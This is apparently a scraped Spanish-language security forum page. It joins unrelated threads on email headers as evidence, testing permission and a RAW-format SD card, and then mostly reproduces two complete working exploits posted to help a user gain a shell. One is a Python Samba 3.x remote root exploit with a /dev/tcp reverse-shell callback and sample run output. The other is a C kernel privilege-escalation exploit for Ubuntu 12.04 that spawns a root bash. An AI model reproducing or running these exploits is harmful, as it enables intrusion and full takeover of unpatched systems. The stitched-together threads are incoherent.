No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
¿las cabeceras y metadatos son más que suficiente para determinar origen y destino sin poderse falsear?

He estado en un seminario en argentina, dictado por peritos forenses que trabajan para las fuerzas de seguridad y aunquesea en mi pais, el email con su cabecera y todos los datos que ella contiene es suficiente como 'prueba' o 'evidencia'.
El resto, ya lo ha dicho AXCESS

Saludos !

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si tu sitio tiene la estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta diría que no, porque la infraestructura es suya, sería un caso diferente a qué si estuviera hosteado en un vps.

Enviado desde mi POCOPHONE F1 mediante Tapatalk

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En el caso de que quisieras hacer eso necesitaría el permiso explícito de wix, si no lo tienes tu duda está fuera de la legalidad.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La solución que se me ocurre: La tabla de partición de esa SD está dañada, y por eso windows no la puede leer (una de las muchas debilidades de ntfs) el hecho es que te recomendaría que usaras cualquier distro de linux (en modo cd-live, para que no te estés rompiendo mucho la cabeza) que etx4 si lee las unidades de almacenamiento sin tablas de partición (o lo que es igual: EN FORMATO RAW) extraes tu info, y la guardas en otro sitio.
Si lograste hacer lo anterior, es altamente probable que tu SD se haya dañado, y así la formatees, igual te siga dando error, pero! Al menos habrás recuperado tu info

sudo mount -t ext4 <fichero_volcado> /mnt/raw1

wrong fs type, bad option, bad superblock on /dev/loop0

sudo mount -t ntfs <fichero_volcado> /mnt/raw1

NTFS signature is missing
Failed to mount '/dev/loop0': invalid argument.
The device '/dev/loop0' doesn't seem to have a valid NTFS

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Medio que no le entiendo bien, pero asumo que se refiere a un pendrive o memoria flash de 64 gigas.

El formato RAW es un formato en bruto de fábrica. Eso significa que por alguna desconfiguración "X", no muestra el formato correcto.

Le recomiendo que visite la página del fabricante en busca de herramientas para estas eventualidades. Por lo general, brindan soluciones de software, que permite reconfigurar el dispositivo.

La otra alternativa, es buscar un software de restauración, que venga bien con la marca del dispositivo.

Suerte.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La solución que se me ocurre: La tabla de partición de esa SD está dañada, y por eso windows no la puede leer (una de las muchas debilidades de ntfs) el hecho es que te recomendaría que usaras cualquier distro de linux (en modo cd-live, para que no te estés rompiendo mucho la cabeza) que etx4 si lee las unidades de almacenamiento sin tablas de partición (o lo que es igual: EN FORMATO RAW) extraes tu info, y la guardas en otro sitio.
Si lograste hacer lo anterior, es altamente probable que tu SD se haya dañado, y así la formatees, igual te siga dando error, pero! Al menos habrás recuperado tu info

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Según la página de cvedetails para esa versión de samba no hay nada útil, me refiero a algo que te vaya a dar una shell que será lo que quieres.
Igualmente no todas las vulnerabilidades acaban con CVEs asignados.

Prueba con:

source: http://www.securityfocus.com/bid/55655/info
 
Samba is prone to an unspecified remote code-execution vulnerability.
 
An attacker can exploit this issue to execute arbitrary code with root privileges. Failed exploit attempts will cause a denial-of-service condition. 
 
#!/usr/bin/python
#
# finding targets 4 31337z:
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
#    -> to get system_libc_addr, enter this value in the 'system_libc_offset' value of the target_finder, run, sit back, wait for shell
# found by eax samba 0day godz (loljk)
 
 
from binascii import hexlify, unhexlify
import socket
import threading
import SocketServer
import sys
import os
import time
import struct      
 
targets = [
    {
        "name"               : "samba_3.6.3-debian6",
        "chunk_offset"       : 0x9148,
        "system_libc_offset" : 0xb6d003c0
    },
    {
        "name"               : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)",
        "chunk_offset"       : 4560, 
        "system_libc_offset" : 0xb20
    },
    {
        "name"               : "target_finder (hardcode correct system addr)", 
        "chunk_offset"       : 0, 
        "system_libc_offset" : 0xb6d1a3c0, 
        "finder": True
    }
]
 
do_brute = True
rs = 1024
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
 
def dump(src, length=32):
    result=[]
    for i in xrange(0, len(src), length):
        s = src[i:i+length]
        hexa = ' '.join(["%02x"%ord(x) for x in s])
        printable = s.translate(FILTER)
        result.append("%04x   %-*s   %s\n" % (i, length*3, hexa, printable))
    return ''.join(result)
 
 
sploitshake = [
    # HELLO
    "8100004420434b4644454e4543464445" + \
    "46464346474546464343414341434143" + \
    "41434143410020454745424644464545" + \
    "43455046494341434143414341434143" + \
    "4143414341414100",
 
    # NTLM_NEGOT
    "0000002fff534d427200000000000000" + \
    "00000000000000000000000000001d14" + \
    "00000000000c00024e54204c4d20302e" + \
    "313200",
 
    # SESSION_SETUP
    "0000004bff534d427300000000080000" + \
    "000000000000000000000000ffff1d14" + \
    "000000000dff000000ffff02001d1499" + \
    "1f00000000000000000000010000000e" + \
    "000000706f736978007079736d6200",
 
    # TREE_CONNECT
    "00000044ff534d427500000000080000" + \
    "000000000000000000000000ffff1d14" + \
    "6400000004ff00000000000100190000" + \
    "5c5c2a534d425345525645525c495043" + \
    "24003f3f3f3f3f00",
 
    # NT_CREATE
    "00000059ff534d42a200000000180100" + \
    "00000000000000000000000001001d14" + \
    "6400000018ff00000000050016000000" + \
    "000000009f0102000000000000000000" + \
    "00000000030000000100000040000000" + \
    "020000000306005c73616d7200"
]
 
pwnsauce = {
    'smb_bind': \
        "00000092ff534d422500000000000100" + \
        "00000000000000000000000001001d14" + \
        "6400000010000048000004e0ff000000" + \
        "0000000000000000004a0048004a0002" + \
        "002600babe4f005c504950455c000500" + \
        "0b03100000004800000001000000b810" + \
        "b8100000000001000000000001007857" + \
        "34123412cdabef000123456789ab0000" + \
        "0000045d888aeb1cc9119fe808002b10" + \
        "486002000000",
 
    'data_chunk': \
        "000010efff534d422f00000000180000" + \
        "00000000000000000000000001001d14" + \
        "640000000eff000000babe00000000ff" + \
        "0000000800b0100000b0103f00000000" + \
        "00b0100500000110000000b010000001" + \
        "0000009810000000000800",
 
    'final_chunk': \
        "000009a3ff534d422f00000000180000" + \
        "00000000000000000000000001001d14" + \
        "640000000eff000000babe00000000ff" + \
        "00000008006409000064093f00000000" + \
        "00640905000002100000006409000001" + \
        "0000004c09000000000800"
}
 
 
def exploit(host, port, cbhost, cbport, target):
    global sploitshake, pwnsauce
 
    chunk_size = 4248
 
    target_tcp = (host, port)
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(target_tcp)
 
    n = 0
    for pkt in sploitshake:
        s.send(unhexlify(pkt))
        pkt_res = s.recv(rs)
        n = n+1
 
    fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])
 
    s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid)))
    pkt_res = s.recv(rs)
 
    buf = "X"*20  # policy handle
    level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS
    buf+=struct.pack('<H',level) # level
    buf+=struct.pack('<H',level)# level2
    buf+=struct.pack('<L',1)#auditing_mode
    buf+=struct.pack('<L',1)#ptr
    buf+=struct.pack('<L',100000) # r->count
    buf+=struct.pack('<L',20) # array_size
    buf+=struct.pack('<L',0)
    buf+=struct.pack('<L',100)
 
    buf += ("A" * target['chunk_offset'])
 
    buf+=struct.pack("I", 0);
    buf+=struct.pack("I", target['system_libc_offset']);
    buf+=struct.pack("I", 0);
    buf+=struct.pack("I", target['system_libc_offset']);
    buf+=struct.pack("I", 0xe8150c70);
    buf+="AAAABBBB"
 
    cmd = ";;;;/bin/bash -c '/bin/bash 0</dev/tcp/"+cbhost+"/"+cbport+" 1>&0 2>&0' &\x00"
 
    tmp = cmd*(816/len(cmd))
    tmp += "\x00"*(816-len(tmp))
 
    buf+=tmp
    buf+="A"*(37192-target['chunk_offset'])
    buf+='z'*(100000 - (28000 + 10000))
 
    buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)]
    n=0
 
    for chunk in buf_chunks:
        if len(chunk) != chunk_size:
            #print "LAST CHUNK #%d" % n
            bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk
            s.send(bb)
        else:
            #print "CHUNK #%d" % n
            bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk
            s.send(bb)
            retbuf = s.recv(rs)
        n=n+1
 
    s.close()
 
class connectback_shell(SocketServer.BaseRequestHandler):
    def handle(self):
        global do_brute
 
        print "\n[!] connectback shell from %s" % self.client_address[0]
        do_brute = False
 
        s = self.request
 
        import termios, tty, select, os
        old_settings = termios.tcgetattr(0)
        try:
            tty.setcbreak(0)
            c = True
            while c:
                for i in select.select([0, s.fileno()], [], [], 0)[0]:
                    c = os.read(i, 1024)
                    if c:
                        if i == 0:
                            os.write(1, c)
 
                        os.write(s.fileno() if i == 0 else 1, c)
        except KeyboardInterrupt: pass
        finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
 
        return
         
 
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass
 
 
if len(sys.argv) != 6:
    print "\n  {*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}\n"
    print "  usage: %s <targethost> <targetport> <myip> <myport> <target>\n" % (sys.argv[0])
    print "  targets:"
    i = 0
    for target in targets:
        print "    %02d) %s" % (i, target['name'])
        i = i+1
 
    print ""
    sys.exit(-1)
 
 
target = targets[int(sys.argv[5])]
 
server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
 
while do_brute == True:
    sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" % (target['system_libc_offset'], target['chunk_offset']))
    sys.stdout.flush()
    exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)
 
    if "finder" in target:
        target['chunk_offset'] += 4
    else:
        target['system_libc_offset'] += 0x1000
 
 
if "finder" in target:
    print \
        "{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " \
        "system_libc_offset = 0x%03x" % \
        (target['chunk_offset'], target['system_libc_offset'] & 0xff000fff)
 
while 1:
    time.sleep(999)
 
server.shutdown()

python 37834.py 192.168.40.137 445 192.168.40.128 4445 00

{+} TRYING EIP=0xb6e123c0 OFFSET=0x00009148

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Sabes, con el ultimo creo que no hay ningun problema, supongo que lo ejecutas con:

./vnik 0 

<-- como indica el exploit



prueba con esta version de dirty cow con las instrucciones que estan comentadas en el header al comienzo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  <-- a mi no me da ningun problema.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
linea exacta de como lo estas ejecutando?

pueds enviar codigo fuente de dirty2 ?? el .c pegalo aca, ademas me parece raro que compiles dirty pero ejecutes dirty2, compilaste 2 veces?

quedo atento, saludos.

gcc 33589.c -O2 -o vnik -v

/**
 * Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
 * by Vitaly Nikolenko ([email protected])
 *
 * based on semtex.c by sd
 *
 * Supported targets:
 * [0] Ubuntu 12.04.0 - 3.2.0-23-generic
 * [1] Ubuntu 12.04.1 - 3.2.0-29-generic
 * [2] Ubuntu 12.04.2 - 3.5.0-23-generic
 *
 * $ gcc vnik.c -O2 -o vnik
 *
 * $ uname -r
 * 3.2.0-23-generic
 *
 * $ ./vnik 0
 */

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x1780000000
#define SIZE  0x0010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

uint64_t targets[3][3] =
            {{0xffffffff81ef67e0,  // perf_swevent_enabled
              0xffffffff81091630,  // commit_creds
              0xffffffff810918e0}, // prepare_kernel_cred
             {0xffffffff81ef67a0,
              0xffffffff81091220,
              0xffffffff810914d0},
             {0xffffffff81ef5940,
              0xffffffff8107ee30,
              0xffffffff8107f0c0}
	    };

void __attribute__((regparm(3))) payload() {
	uint32_t *fixptr = (void*)AB(1);
	// restore the handler
	*fixptr = -1;
	commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
	prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
	commit_creds(prepare_kernel_cred((uint64_t)NULL));
}

void trigger(uint32_t off) {
	uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
	int fd = syscall(298, buf, 0, -1, -1, 0);
	assert( !close(fd) );
}

int main(int argc, char **argv) {
	uint64_t off64, needle, kbase, *p;
	uint8_t *code;
	uint32_t int_n, j = 5, target = 1337;
	int offset = 0;
	void *map;

	assert(argc == 2 && "target?");
	assert( (target = atoi(argv[1])) < 3 );

	struct {
		uint16_t limit;
		uint64_t addr;
	} __attribute__((packed)) idt;

	// mmap user-space block so we don't page fault
	// on sw_perf_event_destroy
	assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
	memset(map, 0, SIZE);

	asm volatile("sidt %0" : "=m" (idt));
	kbase = idt.addr & 0xff000000;
	printf("IDT addr = 0x%lx\n", idt.addr);

	assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
	memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
	memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);

	// can only play with interrupts 3, 4 and 0x80
	for (int_n = 3; int_n <= 0x80; int_n++) {
		for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
			int off32 = off64;
		if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
				offset = off32;
				goto out;
			}
		}
		if (int_n == 4) {
			// shit, let's try 0x80 if the kernel is compiled with
			// CONFIG_IA32_EMULATION
			int_n = 0x80 - 1;
		}
	}
out:
	assert(offset);
	printf("Using int = %d with offset = %d\n", int_n, offset);

	for (j = 0; j < 3; j++) {
		needle = AB(j+1);
		assert(p = memmem(code, 1024, &needle, 8));
		*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
	}
	trigger(offset);
	switch (int_n) {
	case 3:
		asm volatile("int $0x03");
		break;
	case 4:
		asm volatile("int $0x04");
		break;
	case 0x80:
		asm volatile("int $0x80");
	}

	assert(!setuid(0));
	return execl("/bin/bash", "-sh", NULL);
}